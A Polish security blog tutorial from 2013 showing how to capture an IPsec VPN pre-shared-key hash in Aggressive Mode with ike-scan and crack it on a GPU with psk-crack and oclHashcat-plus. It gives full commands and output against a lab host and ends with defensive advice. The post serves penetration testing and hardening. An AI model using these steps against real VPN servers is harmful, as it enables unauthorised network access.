Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Crackowanie VPN na kartach graficznych

15 lutego 2013, 14:30 | Narzędzia | 1 komentarz

Z tekstu dowiesz się:

  • Do czego służy narzędzie ike-scan
  • Jak w podstawowy sposób testować bezpieczeństwo IPsec
  • Jak przyspieszyć cracking offline z wykorzystaniem GPU.
Przypominamy również, że opisane poniżej metody należy stosować tylko w legalnych celach (np. podczas realizacji testów penetracyjnych).

Jednym z niewielu narzędzi mogących pomóc w testach penetracyjnych systemów VPN, opartych o IPsec, jest ike-scan. Wśród wielu różnych możliwości oferowanych przez to narzędzie jest też możliwość wykorzystania/przetestowania problemów bezpieczeństwa przy łączeniu się z serwerem VPN w tzw. trybie agresywnym (Aggressive Mode). W przeciwieństwie do trybu głównego (Main Mode) ma on pewne słabości…

Więcej o trybie agresywnym oraz głównym można przeczytać tutaj, tutaj, lub np. tutaj.  W praktyce wygląda to np. tak:

$ ike-scan 192.168.0.103 -M
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.0.103   Main Mode Handshake returned
        HDR=(CKY-R=4fe46ba0805fa900)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=4f45517b4f7f6e657a7b4351
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.010 seconds (103.53 hosts/sec).  1 returned handshake; 0 returned notify

W tym przypadku wykonaliśmy udaną próbę połączenia w trybie głównym (Main Mode Handshake returned). Zobaczmy co odpowie nam serwer VPN, jeśli wymusimy połączenie w trybie agresywnym (-A):

$ ike-scan 192.168.0.103 -M -A --id=192.168.0.103
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.0.103   Aggressive Mode Handshake returned
        HDR=(CKY-R=57911ddb947ad9c9)
        SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        KeyExchange(128 bytes)
        Nonce(16 bytes)
        ID(Type=ID_IPV4_ADDR, Value=192.168.0.103)
        Hash(20 bytes)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.018 seconds (56.33 hosts/sec).  1 returned handshake; 0 returned notify

W tym przypadku tryb agresywny jest obsługiwany! (Aggressive Mode Handshake returned). Musieliśmy też podać tzw. identyfikator połączenia (–id) ale często może to być po adres IP serwera VPN czy nawet wartość losowa.

Zauważmy też, że zostało nam zaproponowane uwierzytelnienie metodą PSK (Pre Shared Key – czyli statyczne hasło współdzielone po obu stronach tunelu). Jeśli tak jest (tj. mamy obsługiwany tryb agresywny oraz uwierzytelnianie to PSK), możemy spróbować… pobrać hasło PSK w formie zahashowanej, a następnie użyć crackera do jego odzyskania w formie jawnej.  Aby przyspieszyć ten proces zróbmy jeszcze jedną rzecz, sprawdźmy czy zamiast funkcji SHA1 możemy użyć funkcji MD5 (cracking funkcji MD5 jest o wiele szybszy niż SHA1).

$ ike-scan 192.168.0.103 -M --trans=7,1,1,2 -A --id=192.168.0.103 --pskcrack=test1.psk
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.0.103   Aggressive Mode Handshake returned
        HDR=(CKY-R=c87221108e50fbe5)
        SA=(Enc=AES Hash=MD5 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
        KeyExchange(128 bytes)
        Nonce(16 bytes)
        ID(Type=ID_IPV4_ADDR, Value=192.168.0.103)
        Hash(16 bytes)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9: 1 hosts scanned in 0.014 seconds (73.23 hosts/sec).  1 returned handshake; 0 returned notify

Jak wydać powyżej, funkcja MD5 jest w tym przypadku obsługiwana (wnikliwych czytelników odsyłamy do dokumentacji ike-scan, sekcja: Trying Different Transforms oraz przełącznik: –trans). Odpowiedni parametr (–pskcrack=plik) zapisuje nam w pliku tekstowym dane koniecznie do dalszej analizy. W dalszej kolejności możemy wykorzystać ten plik w jednym z crackerów offline. W pakiecie z ike-scanem dostajemy działający na CPU psk-crack, jednak jest on…bardzo wolny – na przyzwoitej klasy nowym procesorze, to ledwie ponad 300 000 sprawdzeń na sekundę:

$ psk-crack -B 4 test.psk
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in brute-force cracking mode
Brute force with 36 chars up to length 4 will take up to 1679616 iterations
key "test" matches SHA1 hash 82b6081b6f961ea420f6e43718c6fda4cd24e708
Ending psk-crack: 1389846 iterations in 4.382 seconds (317172.77 iterations/sec)

Zdecydowanie lepszym pomysłem jest zastosowanie narzędzia oclhashcat-plus.

oclhashcat-plus to dostępne bezpłatne narzędzie umiejące łamać rozmaite algorytmy kryptograficzne. W tym celu wykorzystuje karty graficzne GPU, co ma daje ogromny wzrost wydajności w porównaniu z klasyczny działaniem na CPU

Udostępniona w lutym 2013r.  wersja 0.13 umożliwia m.in. dwa nowe tryby działania: IKE-PSK MD5 oraz IKE-PSK SHA1. Tego nam właśnie potrzeba. Zobaczmy jak spisuje się  oclhashcat-plus, działający na karcie Radeon HD5870. Spróbujemy najpierw ataku brute-force na hasło 7 znakowe składające się z małych liter:

$ ./oclHashcat-plus32.bin -m 5300 test0.psk -a 3 ?l?l?l?l?l?l?l
oclHashcat-plus v0.13 by atom starting...

Hashes: 1 total, 1 unique salts, 1 unique digests
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Workload: 128 loops, 80 accel
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Cypress, 512MB, 870Mhz, 20MCU
Device #1: Kernel ./kernels/4098/m5300_a3.Cypress_1084.4_1084.4.kernel (951700 bytes)

[s]tatus [p]ause [r]esume [b]ypass [q]uit => s
Session.Name...: oclHashcat-plus
Status.........: Running
Input.Mode.....: Mask (?l?l?l?l?l?l?l)
Hash.Target....: test0.psk
Hash.Type......: IKE-PSK MD5
Time.Started...: Fri Feb 15 16:10:19 2013 (4 secs)
Time.Estimated.: Fri Feb 15 16:11:09 2013 (45 secs)
Speed.GPU.#1...:   180.3M/s
Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 786432000/8031810176 (9.79%)
Rejected.......: 0/786432000 (0.00%)
HWMon.GPU.#1...: 75% Util, 61c Temp, 26% Fan

test0.psk:testowe

Session.Name...: oclHashcat-plus
Status.........: Cracked
Input.Mode.....: Mask (?l?l?l?l?l?l?l)
Hash.Target....: test0.psk
Hash.Type......: IKE-PSK MD5
Time.Started...: Fri Feb 15 16:10:19 2013 (7 secs)
Speed.GPU.#1...:   180.3M/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1153433600/8031810176 (14.36%)
Rejected.......: 0/1153433600 (0.00%)
HWMon.GPU.#1...: 98% Util, 58c Temp, 26% Fan

Started: Fri Feb 15 16:10:19 2013
Stopped: Fri Feb 15 16:10:26 2013

Jak wydać wyżej hashcat na GPU działa z prędkością 180 milionów hashy na sekundę, a złamanie hasła zajęło…7 sekund. Zwiększmy hasło o 1 znak (czyli mamy 8 znakowe hasło składające się z małych liter):

$ ./oclHashcat-plus32.bin -m 5300 test1.psk -a 3 ?l?l?l?l?l?l?l?l
oclHashcat-plus v0.13 by atom starting...

Hashes: 1 total, 1 unique salts, 1 unique digests
Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes
Workload: 128 loops, 80 accel
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Cypress, 512MB, 870Mhz, 20MCU
Device #1: Kernel ./kernels/4098/m5300_a3.Cypress_1084.4_1084.4.kernel (951700 bytes)

[s]tatus [p]ause [r]esume [b]ypass [q]uit => s
Session.Name...: oclHashcat-plus
Status.........: Running
Input.Mode.....: Mask (?l?l?l?l?l?l?l?l)
Hash.Target....: test1.psk
Hash.Type......: IKE-PSK MD5
Time.Started...: Fri Feb 15 16:11:17 2013 (12 secs)
Time.Estimated.: Fri Feb 15 16:32:23 2013 (20 mins, 53 secs)
Speed.GPU.#1...:   180.3M/s
Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 1572864000/208827064576 (0.75%)
Rejected.......: 0/1572864000 (0.00%)
HWMon.GPU.#1...: 49% Util, 54c Temp, 24% Fan

W tym przypadku pesymistyczny czas działania zwiększył się aż prawie do 21 minut, ale i tak jest nieźle – maksymalnie w tym czasie łamiemy dowolne hasło 8 znakowe składające się z losowej kombinacji małych liter.

Jak się ochronić?

  • Nie udostępniamy tuneli IPsec publicznie jeśli nie ma takiej potrzeby
  • Nie korzystajmy z trybu agresywnego (wyłączmy go), jeśli nie jest absolutnie wymagany
  • Stosujmy złożone hasła PSK

Chcesz wiedzieć więcej? Polecamy:

— michal.sajdak<at>securitum.pl

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Wheelq

    jestem ciekaw jak jest z legalnoscia serwisow ktore podaja plaintext dla md5 lub dla wep. co jezeli taki serwis zarabia na tym (reklamy badz tez oplata za masowe wrzucenie md5 w celu zwrocenia plaintext)

    Odpowiedz

Odpowiedz